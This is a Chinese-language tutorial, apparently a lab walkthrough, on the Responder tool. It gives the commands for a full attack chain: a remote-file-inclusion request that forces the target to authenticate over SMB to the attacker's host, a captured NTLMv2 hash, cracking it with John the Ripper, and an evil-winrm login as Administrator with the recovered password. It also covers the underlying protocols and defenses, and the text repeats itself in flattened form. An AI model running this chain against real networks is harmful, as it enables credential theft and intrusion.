详解Responder
字数 2123 2025-08-10 12:17:56

Responder工具使用详解:从原理到实战渗透

1. Responder工具概述

Responder是一款强大的网络渗透测试工具,主要用于执行LLMNR、NBT-NS和MDNS投毒攻击。它能够监听并响应特定的NBT-NS(NetBIOS名称服务)查询,通过伪造服务响应来获取目标系统的凭证信息。

1.1 核心功能

  • LLMNR(链路本地多播名称解析)投毒
  • NBT-NS(NetBIOS名称服务)投毒
  • MDNS(多播DNS)投毒
  • SMB/NTLM中间人攻击
  • HTTP/SMB/FTP/LDAP等协议的凭证捕获

1.2 工作原理

  1. 监听SMB协议:Responder在本地启动服务,监听TCP端口(默认445),等待其他计算机尝试连接SMB服务
  2. 恶意响应:当有计算机尝试连接SMB服务时,Responder会伪造合法的SMB响应欺骗客户端
  3. NTLM中间人攻击:Responder利用NTLM认证机制获取用户凭证,通过伪造挑战请求诱使客户端发送凭证信息
  4. 密码散列捕获:Responder可以伪造LM/NTLMv1和NTLMv2响应,劫持SMB会话获取密码散列

2. 环境准备

2.1 系统要求

  • 操作系统:Kali Linux(推荐)
  • 网络环境:与目标在同一局域网

2.2 工具安装

Responder通常预装在Kali Linux中,如需手动安装:

sudo apt update
sudo apt install responder

2.3 靶场环境配置

在实战中,可能需要修改hosts文件解析目标域名:

echo "<靶机IP> unika.htb" >> /etc/hosts

3. Responder基本使用

3.1 常用命令参数

参数 描述
-I 指定网络接口(如tun0、eth0)
-w 启用WPAD代理服务器
-r 响应工作站服务请求
-F 强制NTLM认证
-P 强制客户端使用基本认证

3.2 启动Responder

基本启动命令:

responder -I tun0

这将监听默认接口上的所有相关协议。

4. 相关工具介绍

4.1 John the Ripper

John the Ripper是一款强大的密码破解工具,可用于破解Responder捕获的NTLM哈希。

安装

sudo apt install john

破解NTLMv2哈希

john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

4.2 Evil-WinRM

Evil-WinRM是基于WinRM(Windows Remote Management)的渗透测试工具,可用于通过获取的凭证远程访问Windows系统。

安装

sudo apt install evil-winrm

连接目标

evil-winrm -i 目标IP -u 用户名 -p 密码

5. 实战渗透案例

5.1 利用LFI/RFI漏洞触发Responder

  1. 发现LFI漏洞
curl http://unika.htb/index.php?page=windows/system32/drivers/etc/hosts
  1. 利用RFI触发NTLM认证
curl "http://unika.htb/index.php?page=//10.10.16.59/testshare"

这将使目标系统尝试通过SMB协议访问攻击者机器,触发NTLM认证。

5.2 捕获NTLM哈希

Responder运行后将捕获类似如下的NTLMv2哈希:

Administrator::RESPONDER:47f1af49bf3818ce:B28D50346C45C32C12FB96B9EFE659F1:010100000000000080FBEBF54EEBD901F52B078ABBCDF58B00000000020008004B0057005500550001001E00570049004E002D0043003700310043005A0047003500570054004500510004003400570049004E002D0043003700310043005A004700350057005400450051002E004B005700550055002E004C004F00430041004C00030014004B005700550055002E004C004F00430041004C00050014004B005700550055002E004C004F00430041004C000700080080FBEBF54EEBD90106000400020000000800300030000000000000000100000000200000F385F239304E186A98E23ACC17524F9D2AB6A1AE82F468031962E229C96137CF0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00350039000000000000000000

5.3 破解哈希

将哈希保存到文件后使用John破解:

echo "Administrator::RESPONDER:47f1af49bf3818ce:B28D50346C45C32C12FB96B9EFE659F1:010100000000000080FBEBF54EEBD901F52B078ABBCDF58B00000000020008004B0057005500550001001E00570049004E002D0043003700310043005A0047003500570054004500510004003400570049004E002D0043003700310043005A004700350057005400450051002E004B005700550055002E004C004F00430041004C00030014004B005700550055002E004C004F00430041004C00050014004B005700550055002E004C004F00430041004C000700080080FBEBF54EEBD90106000400020000000800300030000000000000000100000000200000F385F239304E186A98E23ACC17524F9D2AB6A1AE82F468031962E229C96137CF0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00350039000000000000000000" > hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash

5.4 使用破解的凭证访问系统

通过Evil-WinRM连接目标:

evil-winrm -i 10.129.103.66 -u Administrator -p badminton

5.5 获取Flag

在目标系统上查找flag文件:

type ..\..\mike\Desktop\flag.txt

6. 技术原理深入

6.1 NTLM协议

NTLM(New Technology LAN Manager)是Microsoft开发的一套认证协议,工作流程包括:

  1. 协商(Negotiate)
  2. 挑战(Challenge)
  3. 认证(Authentication)

Responder通过伪造挑战阶段获取客户端响应,从而破解密码。

6.2 SMB协议

SMB(Server Message Block)是Windows系统中用于文件共享、打印机共享等功能的协议。Responder通过伪造SMB服务诱使客户端进行认证。

6.3 WinRM协议

WinRM(Windows Remote Management)是Microsoft实现的WS-Management协议,默认监听5985端口。它使用SOAP协议进行通信,evil-winrm工具利用此协议实现远程管理。

7. 防御措施

7.1 针对Responder攻击的防御

  1. 禁用LLMNR和NBT-NS

    • 组策略设置:计算机配置 > 管理模板 > 网络 > DNS客户端
    • 关闭LLMNR和关闭NBT-NS
  2. 启用SMB签名

    • 强制服务器端签名
    • 强制客户端签名
  3. 使用IPSec限制SMB访问

    • 仅允许特定IP访问445端口
  4. 使用强密码策略

    • 防止捕获的哈希被轻易破解

7.2 针对LFI/RFI的防御

  1. 输入验证

    • 严格限制文件包含参数的内容
    • 使用白名单机制
  2. 配置PHP安全设置

    • 关闭allow_url_fopen和allow_url_include
  3. 使用chroot环境

    • 限制文件系统访问范围

8. 总结

Responder是一款功能强大的内网渗透工具,结合LFI/RFI漏洞可以有效地获取目标系统的凭证信息。通过本教程,您应该已经掌握了:

  1. Responder的基本原理和使用方法
  2. 如何利用LFI/RFI漏洞触发NTLM认证
  3. 捕获和破解NTLM哈希的完整流程
  4. 使用evil-winrm进行后续渗透
  5. 相关防御措施

在实际渗透测试中,请确保获得合法授权后再使用这些技术,并遵守相关法律法规。

Responder工具使用详解:从原理到实战渗透 1. Responder工具概述 Responder是一款强大的网络渗透测试工具,主要用于执行LLMNR、NBT-NS和MDNS投毒攻击。它能够监听并响应特定的NBT-NS(NetBIOS名称服务)查询,通过伪造服务响应来获取目标系统的凭证信息。 1.1 核心功能 LLMNR(链路本地多播名称解析)投毒 NBT-NS(NetBIOS名称服务)投毒 MDNS(多播DNS)投毒 SMB/NTLM中间人攻击 HTTP/SMB/FTP/LDAP等协议的凭证捕获 1.2 工作原理 监听SMB协议 :Responder在本地启动服务,监听TCP端口(默认445),等待其他计算机尝试连接SMB服务 恶意响应 :当有计算机尝试连接SMB服务时,Responder会伪造合法的SMB响应欺骗客户端 NTLM中间人攻击 :Responder利用NTLM认证机制获取用户凭证,通过伪造挑战请求诱使客户端发送凭证信息 密码散列捕获 :Responder可以伪造LM/NTLMv1和NTLMv2响应,劫持SMB会话获取密码散列 2. 环境准备 2.1 系统要求 操作系统:Kali Linux(推荐) 网络环境:与目标在同一局域网 2.2 工具安装 Responder通常预装在Kali Linux中,如需手动安装: 2.3 靶场环境配置 在实战中,可能需要修改hosts文件解析目标域名: 3. Responder基本使用 3.1 常用命令参数 | 参数 | 描述 | |------|------| | -I | 指定网络接口(如tun0、eth0) | | -w | 启用WPAD代理服务器 | | -r | 响应工作站服务请求 | | -F | 强制NTLM认证 | | -P | 强制客户端使用基本认证 | 3.2 启动Responder 基本启动命令: 这将监听默认接口上的所有相关协议。 4. 相关工具介绍 4.1 John the Ripper John the Ripper是一款强大的密码破解工具,可用于破解Responder捕获的NTLM哈希。 安装 : 破解NTLMv2哈希 : 4.2 Evil-WinRM Evil-WinRM是基于WinRM(Windows Remote Management)的渗透测试工具,可用于通过获取的凭证远程访问Windows系统。 安装 : 连接目标 : 5. 实战渗透案例 5.1 利用LFI/RFI漏洞触发Responder 发现LFI漏洞 : 利用RFI触发NTLM认证 : 这将使目标系统尝试通过SMB协议访问攻击者机器,触发NTLM认证。 5.2 捕获NTLM哈希 Responder运行后将捕获类似如下的NTLMv2哈希: 5.3 破解哈希 将哈希保存到文件后使用John破解: 5.4 使用破解的凭证访问系统 通过Evil-WinRM连接目标: 5.5 获取Flag 在目标系统上查找flag文件: 6. 技术原理深入 6.1 NTLM协议 NTLM(New Technology LAN Manager)是Microsoft开发的一套认证协议,工作流程包括: 协商(Negotiate) 挑战(Challenge) 认证(Authentication) Responder通过伪造挑战阶段获取客户端响应,从而破解密码。 6.2 SMB协议 SMB(Server Message Block)是Windows系统中用于文件共享、打印机共享等功能的协议。Responder通过伪造SMB服务诱使客户端进行认证。 6.3 WinRM协议 WinRM(Windows Remote Management)是Microsoft实现的WS-Management协议,默认监听5985端口。它使用SOAP协议进行通信,evil-winrm工具利用此协议实现远程管理。 7. 防御措施 7.1 针对Responder攻击的防御 禁用LLMNR和NBT-NS 组策略设置:计算机配置 > 管理模板 > 网络 > DNS客户端 关闭LLMNR和关闭NBT-NS 启用SMB签名 强制服务器端签名 强制客户端签名 使用IPSec限制SMB访问 仅允许特定IP访问445端口 使用强密码策略 防止捕获的哈希被轻易破解 7.2 针对LFI/RFI的防御 输入验证 严格限制文件包含参数的内容 使用白名单机制 配置PHP安全设置 关闭allow_ url_ fopen和allow_ url_ include 使用chroot环境 限制文件系统访问范围 8. 总结 Responder是一款功能强大的内网渗透工具,结合LFI/RFI漏洞可以有效地获取目标系统的凭证信息。通过本教程,您应该已经掌握了: Responder的基本原理和使用方法 如何利用LFI/RFI漏洞触发NTLM认证 捕获和破解NTLM哈希的完整流程 使用evil-winrm进行后续渗透 相关防御措施 在实际渗透测试中,请确保获得合法授权后再使用这些技术,并遵守相关法律法规。